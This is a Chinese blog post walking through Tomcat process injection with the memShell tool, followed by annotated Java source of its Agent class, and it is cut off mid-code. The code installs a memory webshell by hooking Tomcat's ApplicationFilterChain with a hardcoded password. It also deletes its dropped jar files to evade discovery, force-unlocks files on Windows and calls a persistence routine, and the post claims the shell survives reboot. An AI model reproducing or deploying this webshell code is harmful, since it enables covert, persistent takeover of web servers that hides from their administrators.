tomcat进程注入

跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下
在这里插入图片描述
然后输入命令注入
效果:
在这里插入图片描述
注入成功后
在这里插入图片描述
可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用

那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:

package net.rebeyond.memshell;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;

public class Agent {
   
   
    public static String currentPath;
    public static String password = "qiezi";

    public static String className = "org.apache.catalina.core.ApplicationFilterChain";

    public static byte[] injectFileBytes = new byte[]{
   
   },agentFileBytes = new byte[]{
   
   };

    public static void agentmain(String agentArgs, Instrumentation inst){
   
   
        inst.addTransformer(new Transformer(),true);
        if (agentArgs.indexOf("^") >=0){
   
        //字符串的开始位置找元素^找不到是-1.找到进入判断
            Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素
            Agent.password = agentArgs.split("\\^")[1];  //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素

        }else {
   
   
            Agent.currentPath = agentArgs;
        }
        System.out.println("Agent Main Done");
        Class[] loadedClasses = inst.getAllLoadedClasses();  //获得Instrumentation中的所有类
        for (Class c : loadedClasses){
   
     //遍历
            if (c.getName().equals(className)){
   
     //当等于"org.apache.catalina.core.ApplicationFilterChain"时进入if
                try{
   
   
                    inst.retransformClasses(c);  //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载
                }catch (Exception e){
   
   
                    e.printStackTrace();
                }
            }
        }

        try {
   
   
            initLoad();   //初始化
            readInjectFile(Agent.currentPath);   //读取inject文件
            readAgentFile(Agent.currentPath);    //读取agent文件
            clear(Agent.currentPath);  //清除文件
        }catch (Exception e){
   
   

        }
        Agent.persist();   //持久化
    }

    //linux?
    public static void clear(String currentPath) throws Exception{
   
      //清除
        Thread clearThread = new Thread(){
   
      //创建清除线程
            String currentPath = Agent.currentPath;  //当前路径
            public void run(){
   
   
                try {
   
   
                    Thread.sleep(5000);   //线程等待
                    String injectFile = currentPath + "inject.jar";   //inject文件路径
                    String agentFile = currentPath + "agent.jar";     //agent文件路径
                    new File(injectFile).getCanonicalFile().delete();  //删除injectFiile文件
                    String OS = System.getProperty("os.name").toLowerCase();  //操作系统名
                    if (OS.indexOf("windows") >= 0){
   
   
                        try{
   
   
                            unlockFile(currentPath);  //windows采取foreceDelete.exe强制清除
                        }catch (Exception e){
   
   
                            //pass
                        }

                    }
                    new File(agentFile)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值